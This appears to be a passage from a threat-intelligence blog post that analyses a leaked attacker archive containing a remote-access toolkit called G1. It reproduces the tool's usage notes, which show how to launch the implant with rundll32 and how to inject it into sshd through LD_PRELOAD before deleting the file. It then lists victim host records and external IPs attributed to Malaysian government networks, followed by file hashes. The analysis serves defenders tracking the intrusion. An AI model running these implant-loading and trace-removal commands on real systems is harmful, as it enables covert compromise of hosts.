class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Window:</span><br><span class="line">1: exe runs directly.</span><br><span class="line">2: dll operation mode:</span><br><span class="line">rundll32 host_win_x86.dll,elapsed</span><br><span class="line">rundll32 host_win_x64.dll,elapsed</span><br><span class="line">3: bin is shellcode, customized loading.</span><br><span class="line"></span><br><span class="line">Linux:</span><br><span class="line">1: exe run directly:</span><br><span class="line">       chmod 755 host_linux_x64</span><br><span class="line">      ./host_linux_x64</span><br><span class="line">2:so supports ldd loading.</span><br><span class="line">LD_PRELOAD=./host_linux_x64.so /usr/sbin/sshd</span><br><span class="line">               rm -fr /host_linux_x64.so</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Note: Both Windows/Linux support low-privilege execution, such as webshell.</span><br></pre></td></tr></table></figure><p>Another file within <code>xxx.7z</code>, named <code>fed186c5a12922bc</code>, contains the output of an attacker tool running on a victim host, shown below.</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">10.29.113.67||(none)|Linux|203.217.176.244|10.29.113.67|TCP|vsphere-ui|#1-photon SMP Wed Oct 17 12:15:18 UTC 2018 - 4.4.161-1.ph1|130:07:36|2021-05-27 22:25:02|2021-05-27 22:25:56|fed186c5a12922bc</span><br></pre></td></tr></table></figure><p>The threat actor has targeted a vSphere instance at the external IP 203.217.176.244</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Host: 203.217.176.244</span><br><span class="line">ASN: 17564</span><br><span class="line">ISP: GITN M Sdn. Bhd.</span><br><span class="line">Organization: GITN M Sdn. Bhd.</span><br><span class="line">Services: None detected</span><br><span class="line">Type: Corporate</span><br><span class="line">Assignment: Likely Static IP</span><br><span class="line">Continent: Asia</span><br><span class="line">Country: Malaysia</span><br><span class="line">State/Region: Putrajaya</span><br><span class="line">City: Putrajaya</span><br></pre></td></tr></table></figure><p>Another file within <code>xxx.7z</code>, named <code>269aa5960ef1bdc4</code>, contains another victim host:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">SVR069||intan.dir|Windows|202.60.56.221|10.1.3.31|TCP|SYSTEM|Microsoft Windows Server 2019 Standard|13:13:40|2021-09-02 23:57:30|2021-09-02 23:58:47|269aa5960ef1bdc4</span><br></pre></td></tr></table></figure><p>The threat actor has targeted a Windows Server named <code>SVR069</code> at the external IP 202.60.56.221</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Host: 202.60.56.221</span><br><span class="line">ASN: 38044</span><br><span class="line">ISP: Gitn-network</span><br><span class="line">Organization: Gitn-network</span><br><span class="line">Services: None detected</span><br><span class="line">Type: Broadband</span><br><span class="line">Assignment: Likely Static IP</span><br><span class="line">Continent: Asia</span><br><span class="line">Country: Malaysia</span><br><span class="line">State/Region: Kuala Lumpur</span><br><span class="line">City: Kuala Lumpur</span><br></pre></td></tr></table></figure><p>Another folder within the archive is empty, with the name <code>gov.my</code>.<br>When googling the ISP, we get the following result:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">GITN is commissioned by the Government to turn the vision of an e-Government into reality. GITN Sdn. Berhad (GSB) is the official network provider for the e-Government and we have a comprehensive range of infrastructure, hardware and software aimed to help enhance, improve and integrat</span><br><span class="line">e your organization into the e-Government</span><br></pre></td></tr></table></figure><p>This threat actor was targeting the Malaysian government.<br>The fact that the victim host was vSphere indicates that this threat actor has gained significant access into the environment.</p><p>Hashes:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00  ./xxx/key.pem</span><br><span class="line">405ee1521bc97fc5d2c45f36f462f678ce0daef2117c40c5923c54b0f3f32685  ./xxx/CmdShell.exe</span><br><span class="line">2452671492eba95a9fa8dc08d87c54d64b4142f04301209dbaa8447808b0e7b0  ./xxx/TaskMgr.pln</span><br><span class="line">7317d236a1d7b132b80b09284a5c31b61371c66d6eee4cbe4597772223c040c9  ./xxx/S-Tools.pln</span><br><span class="line">9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f  ./xxx/api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">9bfa883a0a53ed1f3ef5330925f9a8b460569335150e46fa4b15b9913a9594c2  ./xxx/SyncShell.exe</span><br><span class="line">b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51  ./xxx/host_win_x64.exe</span><br><span class="line">0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769  ./xxx/kernle</span><br><span class="line">c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39  ./xxx/api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e  ./xxx/269aa5960ef1bdc4</span><br><span class="line">f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./xxx/Generator.exe</span><br><span class="line">b9246fd06b64894d08fbc1d504ea17017da836f070fbd441625c446ab28c7d80  ./xxx/Scheduler.pln</span><br><span class="line">87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./xxx/msvcp120.dll</span><br><span class="line">115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee  ./xxx/xxx.7z</span><br><span class="line">b805f965d1a73d34b5b6c694520b2316884fe44c1c2849ed89565e251d50f658  ./xxx/CmdShell.pln</span><br><span class="line">85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./xxx/Qt5Widgets.dll</span><br><span class="line">855788aa837927ba05b0c352637b49de5b4b22ed05447e8c10a103120c1a4537  ./xxx/DiskFile.pln</span><br><span class="line">59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./xxx/Qt5Core.dll</span><br><span class="line">0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04  ./xxx/SocksMap.exe</span><br><span class="line">2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b  ./xxx/Terminal.exe</span><br><span class="line">c6145356da138655e7b1f3a81273b5298c0c9c059afdda230e0742388db8a4f8  ./xxx/Scheduler.exe</span><br><span class="line">0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./xxx/qwindows.dll</span><br><span class="line">795c8e66f347cb030bef6d5b2076197c2da6acd24b654e40f2374d66553ab4ef  ./xxx/SyncShell.pln</span><br><span class="line">3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d  ./xxx/host_linux_x64.so</span><br><span class="line">804f94010467936ddfeb18a9f53a4750ddb4857e4a611e1d99c24928f7390f8e  ./xxx/S-Tools.exe</span><br><span class="line">ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5  ./xxx/vcruntime140.dll</span><br><span class="line">9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f  ./xxx/api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7  ./xxx/libcrypto-1_1.dll</span><br><span class="line">372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f  ./xxx/host_win_x86.exe</span><br><span class="line">b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./xxx/G1.exe</span><br><span class="line">f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5  ./xxx/api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">a8bf9a04af5d74e783d78b8dec6d47f7943c3c06e8c544856f075e78a1d66d2e  ./xxx/plnuser.pln</span><br><span class="line">1460f52fca965a5ec0aa186116909963ddd7a7e1bc78dcea28759d0b66e9bcfc  ./xxx/fed186c5a12922bc</span><br><span class="line">794353b72b77f934507d0501024e89cdebc97dc40c571769bafaf794fbfaa8a4  ./xxx/SocksMap.pln</span><br><span class="line">6eb4e6d55d329c9d0c7ffc6291969ab5b9605e48efc97455d131300435184af4  ./xxx/TaskMgr.exe</span><br><span class="line">b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf  ./xxx/Terminal.pln</span><br><span class="line">23f27409df8da51b7a61781bccdc0f011decbf57833151436d3e6c78f8524b66  ./xxx/Services.pln</span><br><span class="line">f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272  ./xxx/使用说明.txt</span><br><span class="line">8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82  ./xxx/libssl-1_1.dll</span><br><span class="line">a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed  ./xxx/cer.crt</span><br><span class="line">8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5  ./xxx/api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298  ./xxx/api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">ad551e7b9e91a5f79b269baf438dcfde7dd8014af1016ad2358ea3505714cb88  ./xxx/DiskFile.exe</span><br><span class="line">86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./xxx/msvcr120.dll</span><br><span class="line">348472da6ef03742089181b62364096131bc3b01a009d613b3708ce04c807206  ./xxx/Services.exe</span><br><span class="line">2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./xxx/Qt5Gui.dll</span><br><span class="line">115b9211d5bd978a0abe6408dae2f819b7da04f42f914a1af1fca40eb9ab90ee  ./xxx.7z</span><br><span class="line">f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./old/Generator.exe</span><br><span class="line">b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./old/G1.exe</span><br><span class="line">f6f5ba59676e706e35adbbc7b946f9067734ff7847bafa4ed55a9557454b3ad2  ./G1-Beta/Generator/Generator.exe</span><br><span class="line">87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./G1-Beta/Generator/msvcp120.dll</span><br><span class="line">85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./G1-Beta/Generator/Qt5Widgets.dll</span><br><span class="line">59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./G1-Beta/Generator/Qt5Core.dll</span><br><span class="line">0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./G1-Beta/Generator/platforms/qwindows.dll</span><br><span class="line">b61a021e4ed6e29f48adef22d58dca2eb30b8f492e6bcbee47c2efbd351a2d51  ./G1-Beta/Generator/Output/Windows/host_win_x64.exe</span><br><span class="line">372ed316b3bad2416f1d22117160acdde60327cee23d2cf9d6f6c4379778746f  ./G1-Beta/Generator/Output/Windows/host_win_x86.exe</span><br><span class="line">0bcbbedeb21bd05efb36d432df7a2062eabdb3639531f62e07cc755be3c25769  ./G1-Beta/Generator/Output/Linux/kernle</span><br><span class="line">3a5fe5eb657c5dc6e2ecdf41373de0e6399592929930a1771750aadbac52120d  ./G1-Beta/Generator/Output/Linux/host_linux_x64.so</span><br><span class="line">f575fbb2d0fd77f11deaf31f9422bf11c667284e76ecad8b8825d4a861716272  ./G1-Beta/Generator/使用说明.txt</span><br><span class="line">86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./G1-Beta/Generator/msvcr120.dll</span><br><span class="line">2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./G1-Beta/Generator/Qt5Gui.dll</span><br><span class="line">9b5dfbb6027d28c1a41cab008148e4a98bcd3d6a6d43269cd08dd8bbc366aa0f  ./G1-Beta/Client/api-ms-win-crt-runtime-l1-1-0.dll</span><br><span class="line">c6acad7eecd63b54c2f12610b273a6bf5b4db737c0f8ce7670e778dd7a394e39  ./G1-Beta/Client/api-ms-win-crt-utility-l1-1-0.dll</span><br><span class="line">87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608  ./G1-Beta/Client/msvcp120.dll</span><br><span class="line">85a702b2a2c6d552a20eacbec38e5ba6e6b170872d6596af475b5bdbe84104e7  ./G1-Beta/Client/Qt5Widgets.dll</span><br><span class="line">59dbe1cabfb0674d6c4d69c7c38b22a9a0ac44fa2473065ac96bd7746289f508  ./G1-Beta/Client/Qt5Core.dll</span><br><span class="line">0abd032b0fd90d492330480f79993881b1fcde4fc66a2699c3689ef5f1d4a869  ./G1-Beta/Client/platforms/qwindows.dll</span><br><span class="line">ed259a7d769419dcc3c02291ff6ed228e9c39556827b3df4f73e28cd61b43af5  ./G1-Beta/Client/vcruntime140.dll</span><br><span class="line">9e5d937c72c6d5709b907130cf4c2bd12e3427e44d217a2047d461940c281c1f  ./G1-Beta/Client/api-ms-win-crt-time-l1-1-0.dll</span><br><span class="line">e798b43c4bb92cf40d25bb9042e167536aa02de8998645a462f2314a3ec1f4c7  ./G1-Beta/Client/libcrypto-1_1.dll</span><br><span class="line">67375ebcfa13ea7b549fea105aff391d39dcd814bd03b4dc4f522c182070aa00  ./G1-Beta/Client/certificate/key.pem</span><br><span class="line">a43a33ff200b3a6abe2b5a2081fd75a433a46bb93ec0f4f9480e14026a53f1ed  ./G1-Beta/Client/certificate/cer.crt</span><br><span class="line">b3dc986f9821a1d3c0bfd5fa62ff4d93166b9a779c6417a84d9366e9e53b4b7c  ./G1-Beta/Client/G1.exe</span><br><span class="line">f3334fd8cde800152651200258dc4719271010677e1a55218c5f24bc6e7c7ff5  ./G1-Beta/Client/api-ms-win-crt-convert-l1-1-0.dll</span><br><span class="line">26e5bfe4b0686167e3e4e0aac40cbae03515171d375f91ea563c9c044e9c5cc7  ./G1-Beta/Client/plugin/Linux/DiskFile.pln</span><br><span class="line">0104fd31724d08e895f09b1d75bc230f104e4e62cabc9cfe33ef770e14e70d04  ./G1-Beta/Client/plugin/Linux/SocksMap.exe</span><br><span class="line">2e41310981f08d2dfc7f692a776ab215c9d16d0e6152c1a5a4d8babc82b35e9b  ./G1-Beta/Client/plugin/Linux/Terminal.exe</span><br><span class="line">478508483cbb05defd7dcdac355dadf06282a6f2e14342cccba99e840202f943  ./G1-Beta/Client/plugin/Linux/SocksMap.pln</span><br><span class="line">b12dc850a3b0a3b79fc2255e175241ce20489fe45df93ff35c42c6c348df4fbf  ./G1-Beta/Client/plugin/Linux/Terminal.pln</span><br><span class="line">c2a0b250573feae45ed9d406d2bbddef8b1735a60c456b9cc10fefed46b71748  ./G1-Beta/Client/plugin/Linux/DiskFile.exe</span><br><span class="line">90c6921ab9ef94f410db26cc15abf68f1f1b71993e13e110a95afbf718ec671e  ./G1-Beta/Client/Hosts/Default/269aa5960ef1bdc4</span><br><span class="line">8d6abcce9cdebf8636f738bbbad5dfc019a5cec5c865304a1b44dce7da7d0e82  ./G1-Beta/Client/libssl-1_1.dll</span><br><span class="line">8597f9f239b350b86350f3cdb326bdca49cb23022703fe049f838998a8a32cd5  ./G1-Beta/Client/api-ms-win-crt-string-l1-1-0.dll</span><br><span class="line">15d2aac51ef02eb8242e7c121d4f405237da415e4a05f41a16b8e3640dc27298  ./G1-Beta/Client/api-ms-win-crt-stdio-l1-1-0.dll</span><br><span class="line">86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f  ./G1-Beta/Client/msvcr120.dll</span><br><span class="line">2bce82442f77b087f8b0b9181ade541c3f613b3aa270c54291daaf0efe2523aa  ./G1-Beta/Client/Qt5Gui.dll</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;Using a custom threat intelligence framework that I built, I identified that there was a small window of time, 6 minutes 32 seconds, in w</summary>
      
    
    
    
    
    <category term="CobaltStrike" scheme="https://blindcyber.gitlab.io/tags/CobaltStrike/"/>
    
    <category term="Breach Investigation" scheme="https://blindcyber.gitlab.io/tags/Breach-Investigation/"/>
    
    <category term="Threat Intelligence" scheme="https://blindcyber.gitlab.io/tags/Threat-Intelligence/"/>
    
  </entry>
  
</feed>
